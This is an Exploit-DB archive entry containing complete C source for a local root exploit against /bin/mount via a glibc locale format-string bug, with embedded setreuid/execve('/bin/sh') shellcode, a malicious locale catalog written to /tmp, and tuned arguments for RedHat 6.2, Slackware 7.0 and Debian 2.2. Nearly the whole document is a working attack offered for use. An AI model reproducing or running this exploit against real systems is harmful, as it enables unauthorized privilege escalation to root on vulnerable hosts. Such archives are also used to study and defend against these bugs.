Exploit-DB #215
Description: GLIBC locale - bug mount
Type: local
Platform: linux
Date: 2000-12-02
Author: sk8

Exploit:
/*
 *                mount exploit for glibc locale bug 
 *       tested on redhat 6.2 and slackware 7.0 and debian 2.2
 *
 *  Debian 2.2 (mount-2.10f)        : ./mnt -n 136 -a 0x080589a0 -i 192
 *  Redhat 6.2 (mount-2.10f)        : ./mnt -n 114 -a 0x080565dc -i 112
 *  compiled on rh 6.2 (mount-2.10m): ./mnt -n 114 -a 0x08059218 -i 112
 *
 *      "objdump /bin/mount | grep exit" to get the -a address
 *
 *                                                         - sk8
 */

#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

char sc[]=
  /* main: */                            /* setreuid(0, 0);          */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\xb0\x46"                             /* movb $70, %al            */
  "\x29\xdb"                             /* subl %ebx, %ebx          */
  "\xb3\x0c"                             /* movb $12, %bl            */
  "\x80\xeb\x0c"                         /* subb $12, %bl */
  "\x89\xd9"                             /* movl %ebx, %ecx          */
  "\xcd\x80"                             /* int $0x80                */
  "\xeb\x18"                             /* jmp callz                */

  /* start: */                           /* execve of /bin/sh        */
  "\x5e"                                 /* popl %esi                */
  "\x29\xc0"                             /* subl %eax, %eax          */
  "\x88\x46\x07"                         /* movb %al, 0x07(%esi)     */
  "\x89\x46\x0c"                         /* movl %eax, 0x0c(%esi)    */
  "\x89\x76\x08"                         /* movl %esi, 0x08(%esi)    */
  "\xb0\x0b"                             /* movb $0x0b, %al          */
  "\x87\xf3"                             /* xchgl %esi, %ebx         */
  "\x8d\x4b\x08"                         /* leal 0x08(%ebx), %ecx    */
  "\x8d\x53\x0c"                         /* leal 0x0c(%ebx), %edx    */
  "\xcd\x80"                             /* int $0x80                */

  /* callz: */
  "\xe8\xe3\xff\xff\xff"                 /* call start               */

  /* /bin/sh */
  "\x2f\x62\x69\x6e\x2f\x73\x68";

int main(int argc, char** argv) {
  FILE* fp;
  int numnops=10080;
  char buffer[20000], fmtbuf[1000], numbuf[2000];
  int shloc=0xbfffdaa0;
  int i=0, c=0; 
  char mode='n';
  int debug=0;
  int eiploc=0xbffffdc0;
  char* envbuf[2];
  int inc=112;
  int epad=-1, bpad=0;
  int s=0;  
  int nump=114;
  int num[4];
  char xpath[128];
  char* heapaddr=(char*)malloc(200);  
  memset(xpath, 0, strlen(xpath));
  memset(buffer, 0, sizeof(buffer));
  memset(fmtbuf, 0, sizeof(fmtbuf));
  memset(numbuf, 0, sizeof(numbuf));
  printf("heapaddr: 0x%x\n", heapaddr);
  c=0;
  strcpy (xpath, "/bin/mount");

  while ((s=getopt(argc, argv, "p:s:b:e:a:n:i:d")) != EOF) {
    switch(s) {
      case 's': shloc=strtoul(optarg, 0, 0); break;
      case 'b': bpad=atoi(optarg); break;
      case 'e': epad=atoi(optarg); break;
      case 'a': eiploc=strtoul(optarg, 0, 0); break;
      case 'n': nump=atoi(optarg); break;
      case 'i': inc=atoi(optarg); break;
      case 'p': strcpy(xpath, optarg); break;
      case 'd': debug=1; break;
      default: 
    }
  }

  if (epad < 0) epad=10-strlen(xpath)%16;
  if (epad < 0) epad+=16;

  for (i=0; i < nump; i++) {
    buffer[c++]='%';
    buffer[c++]='8';
    buffer[c++]='x';
  }

  if (debug) { mode='p';
    strcpy(sc, "AAAA");
    numnops=0;
  }
  printf("cur strlen: %i\n", strlen(buffer));

  /* size of executed program (/bin/mount) does not seem to affect these calculations
     it does affect location of eip however, (which is why its nice to just overwrite exit 
     it also affects epadding, but that is calculated based on executed program size
  */
  num[0]=(shloc & 0xff)+inc; /* why 23? 114/4 - 5 */
  if (num[0] < 0) num[0]+=256;
  num[1]=((shloc >> 8) & 0xff)-(shloc & 0xff);
  if (num[1] < 0) num[1]+=256;
  num[2]=((shloc >> 16) & 0xff)+0x100-((shloc >> 8)&0xff);
  if (num[2] < 0) num[2]+=256;
  num[3]=((shloc >> 24) & 0xff)+1;
  if (num[3] < 0) num[3]+=256;

  sprintf(fmtbuf, "%%%id%%h%c%%%id%%h%c%%%id%%h%c%%%id%%h%c", num[0]
    , mode, num[1], mode, num[2], mode, num[3], mode);
  printf("fmtbuf: %s\n", fmtbuf);
  printf("strlen(fmtbuf): %i\n", strlen(fmtbuf));
  memcpy(buffer+strlen(buffer), fmtbuf, strlen(fmtbuf));

  memset(buffer+strlen(buffer), 0x90, numnops);
  memcpy(buffer+strlen(buffer), sc, strlen(sc));
  
  mkdir("/tmp/sk8", 0755);
  mkdir("/tmp/sk8/LC_MESSAGES", 0755);
  if ( ! (fp=fopen("/tmp/sk8/LC_MESSAGES/libc.po", "w") ) ) {
    printf("could not create bad libc.po\n");
    exit(-1);
  }  
  fprintf(fp, "msgid \"%%s: unrecognized option `--%%s'\\n\"\n");
  fprintf(fp, "msgstr \"%s\\n\"", buffer);
  fclose(fp);

  system("msgfmt /tmp/sk8/LC_MESSAGES/libc.po -o /tmp/sk8/LC_MESSAGES/libc.mo");

  c=0;
  numbuf[c++]='-';
  numbuf[c++]='-';
  
  memset(numbuf+strlen(numbuf), 'B', bpad);
  
  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc;

  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc+1;

  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc+2;

  memcpy(numbuf+strlen(numbuf), "PPPP", 4);
  *(long*)(numbuf+strlen(numbuf))=eiploc+3;
  printf("cur numbuf length: %i\n", strlen(numbuf));
  memset(numbuf+strlen(numbuf), 'Z', epad);
  printf("cur numbuf length: %i\n", strlen(numbuf));

  envbuf[0]="LANGUAGE=en_GB/../../../../tmp/sk8/";
  envbuf[1]=0;

  printf("strlen(numbuf): %i\n", strlen(numbuf));
  printf("bpad: %i; epad: %i\n", bpad, epad);  
  printf("number of %%p's to traverse stack: %i\n", nump);
  printf("address of eip: 0x%x\n", eiploc);
  printf("inc: %i\n", inc);

  execle(xpath, "mount", numbuf, 0, envbuf);  
}


// milw0rm.com [2000-12-02]